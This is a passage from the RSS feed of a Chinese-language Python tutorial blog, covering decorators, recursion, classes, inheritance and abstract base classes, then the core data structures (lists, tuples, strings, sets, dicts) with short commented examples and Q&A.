        result = func(*args, **kwargs) # 调用原函数
        print(f&quot;{func.__name__} 耗时 {time.time()-start:.4f}s&quot;)
        return result
    return wrapper

# 用 @语法糖 应用装饰器
@timer
def slow_func():
    time.sleep(1)

slow_func()        # 输出：slow_func 耗时 1.00xxs

# 带参数的装饰器（三层嵌套）
def repeat(n):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            for _ in range(n):
                func(*args, **kwargs)
        return wrapper
    return decorator

@repeat(3)
def say_hi():
    print(&quot;hi&quot;)
say_hi()           # 打印 3 次 hi
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;递归调用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 函数调用自己，必须有终止条件（否则栈溢出 RecursionError）
def factorial(n):
    if n &amp;lt;= 1:            # 递归出口
        return 1
    return n * factorial(n - 1)

print(factorial(5))       # 120

# 斐波那契（朴素递归，效率低，有重复计算）
def fib(n):
    if n &amp;lt; 2:
        return n
    return fib(n-1) + fib(n-2)

# 用缓存优化（记忆化）
from functools import lru_cache
@lru_cache(maxsize=None)
def fib_fast(n):
    return n if n &amp;lt; 2 else fib_fast(n-1) + fib_fast(n-2)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Python 默认递归深度约 1000 层，可用 &lt;code&gt;sys.setrecursionlimit()&lt;/code&gt; 调整。能用循环就别用深递归，容易栈溢出且效率低。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、面向对象编程（OOP）&lt;/h2&gt;
&lt;h3&gt;类和对象&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Dog:
    # 类属性（所有实例共享）
    species = &quot;canine&quot;

    # 初始化方法（构造器），self 代表实例本身
    def __init__(self, name, age):
        # 实例属性
        self.name = name
        self.age = age

    # 实例方法（第一个参数必须是 self）
    def bark(self):
        return f&quot;{self.name} 汪汪叫！&quot;

# 创建对象（实例化）
dog = Dog(&quot;旺财&quot;, 3)
print(dog.name)        # 旺财
print(dog.bark())      # 旺财 汪汪叫！
print(Dog.species)     # canine（类属性）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;可见性与属性装饰器&lt;/h3&gt;
&lt;p&gt;Python 没有真正的 private，用命名约定：&lt;code&gt;_name&lt;/code&gt; 表示&quot;受保护&quot;，&lt;code&gt;__name&lt;/code&gt; 触发&lt;strong&gt;名称改写&lt;/strong&gt;（name mangling）实现弱私有。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Person:
    def __init__(self, name, age):
        self._name = name
        self.__age = age          # 名称改写为 _Person__age

    # 用 @property 把方法伪装成属性访问（推荐做法）
    @property
    def age(self):
        return self.__age

    @age.setter
    def age(self, value):         # setter 里做校验
        if 0 &amp;lt;= value &amp;lt;= 150:
            self.__age = value
        else:
            raise ValueError(&quot;年龄不合法&quot;)

p = Person(&quot;Tom&quot;, 25)
print(p.age)        # 25（像访问属性一样，实际调用 getter）
p.age = 30          # 调用 setter
# p.age = 200       # ValueError
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;静态方法与类方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class MathUtil:
    PI = 3.14159

    def __init__(self, value):
        self.value = value

    # 实例方法：操作实例属性，第一个参数 self
    def double(self):
        return self.value * 2

    # 类方法：第一个参数 cls（类本身），常用作工厂方法
    @classmethod
    def from_string(cls, s):
        return cls(float(s))       # 创建实例

    # 静态方法：不访问实例也不访问类，就是放在类里的普通函数
    @staticmethod
    def add(a, b):
        return a + b

print(MathUtil.add(1, 2))              # 3（静态方法，无需实例）
obj = MathUtil.from_string(&quot;3.14&quot;)     # 类方法创建实例
print(obj.value)                       # 3.14
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;继承与多态&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 基类（父类）
class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        raise NotImplementedError(&quot;子类必须实现 speak&quot;)

    def info(self):
        return f&quot;我是 {self.name}&quot;

# 子类继承父类
class Cat(Animal):
    def speak(self):            # 重写（override）父类方法
        return &quot;喵喵&quot;

class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name)  # 调用父类构造器
        self.breed = breed

    def speak(self):
        return &quot;汪汪&quot;

# 多态：同一个接口，不同子类有不同行为
animals = [Cat(&quot;咪咪&quot;), Dog(&quot;旺财&quot;, &quot;柴犬&quot;)]
for a in animals:
    print(f&quot;{a.name}: {a.speak()}&quot;)   # 各自调用自己的 speak

# 多重继承与方法解析顺序（MRO）
class A:
    def hello(self): return &quot;A&quot;
class B(A):
    def hello(self): return &quot;B&quot;
class C(A):
    def hello(self): return &quot;C&quot;
class D(B, C):        # 菱形继承
    pass
print(D().hello())    # B（按 MRO：D→B→C→A）
print(D.__mro__)      # 查看方法解析顺序
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、面向对象实战&lt;/h2&gt;
&lt;h3&gt;例子1：数字时钟&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import time, os

class Clock:
    def __init__(self, hour=0, minute=0, second=0):
        self.hour, self.minute, self.second = hour, minute, second

    def run(self):
        self.second += 1
        if self.second == 60:
            self.second = 0
            self.minute += 1
            if self.minute == 60:
                self.minute = 0
                self.hour += 1
                if self.hour == 24:
                    self.hour = 0

    def show(self):
        return f&quot;{self.hour:02d}:{self.minute:02d}:{self.second:02d}&quot;

clock = Clock(23, 59, 58)
for _ in range(5):
    print(clock.show())
    clock.run()
    time.sleep(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;例子2：工资结算系统（多态）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from abc import ABC, abstractmethod

# 抽象基类：定义接口，不能实例化
class Employee(ABC):
    def __init__(self, name):
        self.name = name

    @abstractmethod
    def get_salary(self):
        &quot;&quot;&quot;子类必须实现&quot;&quot;&quot;
        pass

class Manager(Employee):
    def get_salary(self):
        return 15000.0

class Programmer(Employee):
    def __init__(self, name, hour):
        super().__init__(name)
        self.hour = hour
    def get_salary(self):
        return 200 * self.hour        # 时薪 200

class Salesman(Employee):
    def __init__(self, name, sales):
        super().__init__(name)
        self.sales = sales
    def get_salary(self):
        return 1500 + 0.05 * self.sales   # 底薪 + 提成

# 多态：统一处理不同员工
employees = [Manager(&quot;经理&quot;), Programmer(&quot;程序猿&quot;, 160), Salesman(&quot;销售&quot;, 50000)]
for emp in employees:
    print(f&quot;{emp.name}: {emp.get_salary():.2f} 元&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：&lt;code&gt;self&lt;/code&gt; 是什么？必须写吗？&lt;/strong&gt;
A：&lt;code&gt;self&lt;/code&gt; 代表实例本身，是实例方法的第一个参数。名字可以改但约定俗成用 &lt;code&gt;self&lt;/code&gt;。调用时 Python 自动传入，不用手动传。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：&lt;code&gt;__init__&lt;/code&gt; 和构造函数？&lt;/strong&gt;
A：&lt;code&gt;__init__&lt;/code&gt; 是初始化方法（构造时自动调用）。还有 &lt;code&gt;__new__&lt;/code&gt; 才是真正创建对象的，但极少用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：类属性 vs 实例属性？&lt;/strong&gt;
A：类属性定义在类里、方法外，所有实例共享；实例属性在 &lt;code&gt;__init__&lt;/code&gt; 里用 &lt;code&gt;self.xxx&lt;/code&gt; 定义，每个实例独立。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：装饰器 &lt;code&gt;@property&lt;/code&gt; 有什么用？&lt;/strong&gt;
A：把方法变成&quot;属性&quot;访问方式（&lt;code&gt;obj.age&lt;/code&gt; 而非 &lt;code&gt;obj.get_age()&lt;/code&gt;），同时能在 setter 里加校验逻辑，是封装的推荐做法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：&lt;code&gt;@staticmethod&lt;/code&gt; 和 &lt;code&gt;@classmethod&lt;/code&gt; 区别？&lt;/strong&gt;
A：静态方法不接收 self/cls，就是普通函数放类里做归类；类方法第一个参数是 &lt;code&gt;cls&lt;/code&gt;，常用于工厂方法创建实例、操作类属性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：Python 支持真正的私有吗？&lt;/strong&gt;
A：不支持。&lt;code&gt;__name&lt;/code&gt; 只是名称改写（变成 &lt;code&gt;_类名__name&lt;/code&gt;），仍可访问。&lt;code&gt;_name&lt;/code&gt; 是约定的&quot;受保护&quot;，纯靠自觉。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：装饰器和闭包的关系？&lt;/strong&gt;
A：装饰器基于闭包实现——内层 &lt;code&gt;wrapper&lt;/code&gt; 函数引用了外层函数的参数 &lt;code&gt;func&lt;/code&gt;，形成闭包。理解闭包才能理解装饰器。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;本篇速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;参数五种&lt;/strong&gt;：位置、关键字、默认、&lt;code&gt;*args&lt;/code&gt;（元组）、&lt;code&gt;**kwargs&lt;/code&gt;（字典）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;默认参数陷阱&lt;/strong&gt;：别用可变对象做默认值，用 &lt;code&gt;None&lt;/code&gt; 兜底&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高阶函数&lt;/strong&gt;：&lt;code&gt;map/filter/reduce/sorted&lt;/code&gt; + Lambda&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;装饰器&lt;/strong&gt;：&lt;code&gt;@decorator&lt;/code&gt; = 不改原函数增强功能，配 &lt;code&gt;@wraps&lt;/code&gt; 保留元信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;递归&lt;/strong&gt;：必须有出口，&lt;code&gt;lru_cache&lt;/code&gt; 可记忆化优化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类三大支柱&lt;/strong&gt;：封装（&lt;code&gt;@property&lt;/code&gt;）、继承（&lt;code&gt;super()&lt;/code&gt;）、多态（重写方法）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;三种方法&lt;/strong&gt;：实例方法(self)、类方法(@classmethod, cls)、静态方法(@staticmethod)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;抽象基类&lt;/strong&gt;：&lt;code&gt;ABC&lt;/code&gt; + &lt;code&gt;@abstractmethod&lt;/code&gt; 强制子类实现&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MRO&lt;/strong&gt;：多重继承按 &lt;code&gt;__mro__&lt;/code&gt; 顺序查找方法（C3 线性化）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-04-file-processing/&quot;&gt;文件操作与数据交换&lt;/a&gt; 将讲解文件读写、异常处理、上下文管理器，以及 JSON/CSV 数据格式的处理和用网络 API 获取数据。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>常用数据结构</title><link>http://117.72.32.87/blog/posts/python-roadmap-02-data-structures/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-02-data-structures/</guid><description>Python 五大核心数据结构详解：列表、元组、字符串、集合、字典的创建、运算、常用方法与实战应用，含索引切片、列表生成式、打包解包等高频考点。</description><pubDate>Fri, 18 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day08~13&lt;/strong&gt;：列表、元组、字符串、集合、字典。这五大结构是 Python 日常编程的绝对主力，面试也是高频考点，务必熟练掌握它们的方法和相互转换。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;五大结构速览&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;结构&lt;/th&gt;
&lt;th&gt;字面量&lt;/th&gt;
&lt;th&gt;有序&lt;/th&gt;
&lt;th&gt;可变&lt;/th&gt;
&lt;th&gt;可重复&lt;/th&gt;
&lt;th&gt;典型用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;列表 list&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 2, 3]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;通用序列、栈&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;元组 tuple&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(1, 2, 3)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;不可变记录、多返回值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字符串 str&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;abc&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;文本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;集合 set&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{1, 2, 3}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;去重、交并差&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字典 dict&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{&quot;k&quot;: &quot;v&quot;}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅(3.7+)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;键唯一&lt;/td&gt;
&lt;td&gt;键值映射&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;一、列表（list）&lt;/h2&gt;
&lt;h3&gt;创建与运算&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 创建
nums = [1, 2, 3, 4, 5]
mixed = [1, &quot;two&quot;, 3.0, True, None]     # 可混合类型
empty = []                               # 或 list()

# 运算
print(nums + [6, 7])      # 拼接：[1,2,3,4,5,6,7]
print(nums * 2)           # 重复：[1,2,3,4,5,1,2,3,4,5]
print(3 in nums)          # 成员运算：True
print(len(nums))          # 长度：5
print(max(nums), min(nums), sum(nums))   # 15 的最大/最小/求和
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;索引与切片&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nums = [0, 1, 2, 3, 4, 5]
# 索引：从 0 开始，负数表示从末尾
print(nums[0])     # 0
print(nums[-1])    # 5（最后一个）

# 切片 [start:stop:step]，左闭右开
print(nums[1:4])   # [1, 2, 3]
print(nums[:3])    # [0, 1, 2]（省略 start）
print(nums[3:])    # [3, 4, 5]（省略 stop）
print(nums[::2])   # [0, 2, 4]（步长 2）
print(nums[::-1])  # [5,4,3,2,1,0]（反转）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nums = [3, 1, 2]

# 增
nums.append(4)          # 末尾添加：[3,1,2,4]
nums.insert(0, 9)       # 指定位置插入：[9,3,1,2,4]
nums.extend([5, 6])     # 扩展（合并另一个列表）

# 删
nums.remove(9)          # 删除第一个值为 9 的元素
popped = nums.pop()     # 弹出末尾元素并返回
popped = nums.pop(0)    # 弹出指定索引
del nums[0]             # del 删除
nums.clear()            # 清空

# 查
nums = [1, 2, 3, 2]
print(nums.index(2))    # 第一次出现的索引：1
print(nums.count(2))    # 出现次数：2

# 排序与反转
nums.sort()             # 原地升序排序：[1,2,2,3]
nums.sort(reverse=True) # 降序
nums.reverse()          # 原地反转
sorted_nums = sorted(nums)          # 返回新列表，不改原列表
nums.sort(key=lambda x: -x)         # 自定义排序规则
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;列表生成式（推导式）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 基本形式：[表达式 for 变量 in 可迭代对象]
squares = [x ** 2 for x in range(10)]        # [0,1,4,...,81]

# 带条件过滤
evens = [x for x in range(20) if x % 2 == 0]  # 偶数

# 嵌套
matrix = [[i * j for j in range(3)] for i in range(3)]

# 相比 map/filter 更 Pythonic
nums = [1, 2, 3, 4]
doubled = [n * 2 for n in nums]              # 推荐
# doubled = list(map(lambda n: n*2, nums))   # 等价但不如上面直观
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;嵌套列表（二维）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 3×3 矩阵
matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9],
]
print(matrix[1][2])     # 6（第 2 行第 3 列）

# 遍历
for row in matrix:
    for val in row:
        print(val, end=&quot; &quot;)
    print()
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
创建二维列表不要用 &lt;code&gt;[[0]*3]*3&lt;/code&gt;！这样三行是&lt;strong&gt;同一个对象&lt;/strong&gt;的引用，改一行三行都变。正确写法：&lt;code&gt;[[0]*3 for _ in range(3)]&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;二、元组（tuple）&lt;/h2&gt;
&lt;h3&gt;定义与运算&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 定义（小括号，但括号可省略）
t = (1, 2, 3)
t2 = 1, 2, 3            # 等价
single = (42,)          # 单元素元组必须加逗号！(42) 是整数 42

# 元组不可变：不能增删改
# t[0] = 99  # TypeError

# 运算和列表一样（+ * in 索引 切片），但没有增删改方法
print(t + (4,))         # (1,2,3,4)
print(t[0], t[-1])      # 1 3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;打包与解包&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 打包：多个值组成元组
point = 3, 4

# 解包：元组值分别赋给多个变量
x, y = point            # x=3, y=4
print(x, y)

# 交换变量（最经典的用法）
a, b = 1, 2
a, b = b, a             # 现在 a=2, b=1

# 星号解包（接收剩余元素）
first, *rest = [1, 2, 3, 4, 5]
print(first)            # 1
print(rest)             # [2, 3, 4, 5]

# 函数返回多个值本质就是返回元组
def min_max(nums):
    return min(nums), max(nums)
lo, hi = min_max([3, 1, 4, 1, 5])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;元组 vs 列表&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;对比&lt;/th&gt;
&lt;th&gt;元组 tuple&lt;/th&gt;
&lt;th&gt;列表 list&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;可变性&lt;/td&gt;
&lt;td&gt;不可变&lt;/td&gt;
&lt;td&gt;可变&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;更快、更省内存&lt;/td&gt;
&lt;td&gt;稍慢&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全性&lt;/td&gt;
&lt;td&gt;数据不会被意外修改&lt;/td&gt;
&lt;td&gt;可能被修改&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;可哈希&lt;/td&gt;
&lt;td&gt;是（可作字典的键）&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;使用场景&lt;/td&gt;
&lt;td&gt;固定数据、多返回值、字典键&lt;/td&gt;
&lt;td&gt;需要增删改的序列&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;三、字符串（str）&lt;/h2&gt;
&lt;h3&gt;定义与特殊表示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;s1 = &apos;single quotes&apos;
s2 = &quot;double quotes&quot;
s3 = &quot;&quot;&quot;多行
字符串&quot;&quot;&quot;

# 转义字符
print(&quot;换行\n制表\t反斜杠\\ 引号\&quot;&quot;)

# 原始字符串（r 前缀，不转义，常用于正则/路径）
path = r&quot;C:\new\test.txt&quot;     # 不会把 \n \t 当转义
print(path)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;运算与索引切片&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;s = &quot;Hello, Python&quot;
print(s + &quot;!&quot;)            # 拼接
print(s * 2)              # 重复
print(len(s))             # 长度：13
print(&quot;Python&quot; in s)      # 成员运算：True
print(s[0])               # H
print(s[-6:])             # Python
print(s[7:])              # Python（切片）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用方法（按用途分类）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;s = &quot;  Hello World  &quot;

# 大小写
&quot;abc&quot;.upper()             # &quot;ABC&quot;
&quot;ABC&quot;.lower()             # &quot;abc&quot;
&quot;hello world&quot;.title()     # &quot;Hello World&quot;
&quot;Hello&quot;.swapcase()        # &quot;hELLO&quot;

# 修剪（去空白）
s.strip()                 # &quot;Hello World&quot;（两端）
s.lstrip()                # 去左
s.rstrip()                # 去右

# 查找与判断
&quot;Hello&quot;.find(&quot;ll&quot;)        # 2（找不到返回 -1）
&quot;Hello&quot;.index(&quot;ll&quot;)       # 2（找不到抛异常）
&quot;Hello&quot;.startswith(&quot;He&quot;)  # True
&quot;Hello&quot;.endswith(&quot;lo&quot;)    # True
&quot;123&quot;.isdigit()           # True
&quot;abc&quot;.isalpha()           # True
&quot;abc123&quot;.isalnum()        # True

# 替换
&quot;a-b-c&quot;.replace(&quot;-&quot;, &quot;+&quot;) # &quot;a+b+c&quot;

# 拆分与合并
&quot;a,b,c&quot;.split(&quot;,&quot;)        # [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
&quot;-&quot;.join([&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]) # &quot;a-b-c&quot;

# 格式化（三种方式）
name, age = &quot;Ethan&quot;, 25
&quot;我是%s，%d岁&quot; % (name, age)          # 旧式
&quot;我是{}，{}岁&quot;.format(name, age)       # format
f&quot;我是{name}，{age}岁&quot;                 # f-string（推荐）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;编码与解码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# str（文本） ↔ bytes（字节）
s = &quot;你好，Python&quot;
b = s.encode(&quot;utf-8&quot;)     # 编码为字节：b&apos;\xe4\xbd\xa0...&apos;
s2 = b.decode(&quot;utf-8&quot;)    # 解码回字符串
print(len(s))             # 字符数：9
print(len(b))             # 字节数：更多（中文 UTF-8 占 3 字节）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、集合（set）&lt;/h2&gt;
&lt;h3&gt;创建与运算&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 创建（自动去重、无序）
s = {1, 2, 3, 3, 2}       # {1, 2, 3}
s2 = set([1, 2, 2, 3])    # 从列表创建（去重）
empty = set()             # 注意：{} 是空字典，不是空集合！

# 去重是集合最常见的用途
nums = [1, 2, 2, 3, 3, 3]
unique = list(set(nums))  # [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;集合运算（数学）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;a = {1, 2, 3, 4}
b = {3, 4, 5, 6}

print(a &amp;amp; b)      # 交集 {3, 4}       a.intersection(b)
print(a | b)      # 并集 {1,2,3,4,5,6} a.union(b)
print(a - b)      # 差集 {1, 2}        a.difference(b)
print(a ^ b)      # 对称差集 {1,2,5,6} a.symmetric_difference(b)

# 比较
print({1, 2} &amp;lt;= a)    # 子集：True
print(a &amp;gt;= {1, 2})    # 超集：True
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用方法与不可变集合&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;s = {1, 2}
s.add(3)              # 添加
s.update([4, 5])      # 批量添加
s.remove(1)           # 删除（不存在报错）
s.discard(99)         # 删除（不存在不报错）
print(2 in s)         # 成员运算（集合的 in 极快，O(1)）

# 不可变集合 frozenset（可作字典的键）
fs = frozenset([1, 2, 3])
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、字典（dict）&lt;/h2&gt;
&lt;h3&gt;创建与使用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 创建
person = {&quot;name&quot;: &quot;Ethan&quot;, &quot;age&quot;: 25, &quot;city&quot;: &quot;Shanghai&quot;}
person2 = dict(name=&quot;Tom&quot;, age=30)       # 关键字参数
person3 = dict([(&quot;a&quot;, 1), (&quot;b&quot;, 2)])     # 键值对序列
empty = {}                                # 空字典

# 访问
print(person[&quot;name&quot;])          # Ethan
# print(person[&quot;xxx&quot;])         # 键不存在会 KeyError
print(person.get(&quot;xxx&quot;))       # None（推荐，不报错）
print(person.get(&quot;xxx&quot;, &quot;默认值&quot;))  # 键不存在返回默认值
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;增删改查&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;person = {&quot;name&quot;: &quot;Ethan&quot;}

# 增 / 改（键存在则改，不存在则增）
person[&quot;age&quot;] = 25
person.update({&quot;city&quot;: &quot;SH&quot;, &quot;age&quot;: 26})   # 批量更新

# 删
del person[&quot;city&quot;]
age = person.pop(&quot;age&quot;)        # 删除并返回值
person.pop(&quot;xxx&quot;, None)        # 键不存在给默认值，不报错
person.clear()                 # 清空

# 查
print(&quot;name&quot; in person)        # 判断键是否存在
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;遍历&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;scores = {&quot;语文&quot;: 90, &quot;数学&quot;: 95, &quot;英语&quot;: 88}

# 遍历键
for key in scores:                    # 等价 scores.keys()
    print(key)

# 遍历值
for val in scores.values():
    print(val)

# 遍历键值对（最常用）
for key, val in scores.items():
    print(f&quot;{key}: {val}&quot;)

# 字典生成式
squared = {x: x ** 2 for x in range(5)}   # {0:0, 1:1, 2:4, 3:9, 4:16}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;应用示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 统计词频
words = [&quot;apple&quot;, &quot;banana&quot;, &quot;apple&quot;, &quot;cherry&quot;, &quot;banana&quot;, &quot;apple&quot;]
counter = {}
for w in words:
    counter[w] = counter.get(w, 0) + 1
print(counter)     # {&apos;apple&apos;: 3, &apos;banana&apos;: 2, &apos;cherry&apos;: 1}

# 用 collections.Counter 更简洁
from collections import Counter
print(Counter(words))              # Counter({&apos;apple&apos;: 3, &apos;banana&apos;: 2, &apos;cherry&apos;: 1})
print(Counter(words).most_common(2))  # 出现最多的 2 个
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;结构之间的转换&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# list ↔ tuple ↔ set ↔ str
lst = [1, 2, 3]
tpl = tuple(lst)        # (1, 2, 3)
st = set(lst)           # {1, 2, 3}（去重）
back = list(st)

# str → list
list(&quot;abc&quot;)             # [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
&quot;abc&quot;.split()           # 按空白拆
&quot;&quot;.join([&apos;a&apos;, &apos;b&apos;])     # list → str

# dict 相关
dict([(&quot;a&quot;, 1)])        # [(&apos;a&apos;,1)] → {&apos;a&apos;:1}
d = {&quot;a&quot;: 1, &quot;b&quot;: 2}
list(d.keys())          # [&apos;a&apos;, &apos;b&apos;]
list(d.values())        # [1, 2]
list(d.items())         # [(&apos;a&apos;,1), (&apos;b&apos;,2)]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：列表和元组怎么选？&lt;/strong&gt;
A：数据&lt;strong&gt;需要修改&lt;/strong&gt;用列表；数据&lt;strong&gt;固定不变&lt;/strong&gt;（如坐标、配置、函数多返回值）用元组。元组更快、更安全，还能作字典的键。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：&lt;code&gt;{}&lt;/code&gt; 是空集合还是空字典？&lt;/strong&gt;
A：是&lt;strong&gt;空字典&lt;/strong&gt;！空集合必须用 &lt;code&gt;set()&lt;/code&gt;。这是常见陷阱。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;remove&lt;/code&gt;、&lt;code&gt;pop&lt;/code&gt;、&lt;code&gt;del&lt;/code&gt; 有什么区别？&lt;/strong&gt;
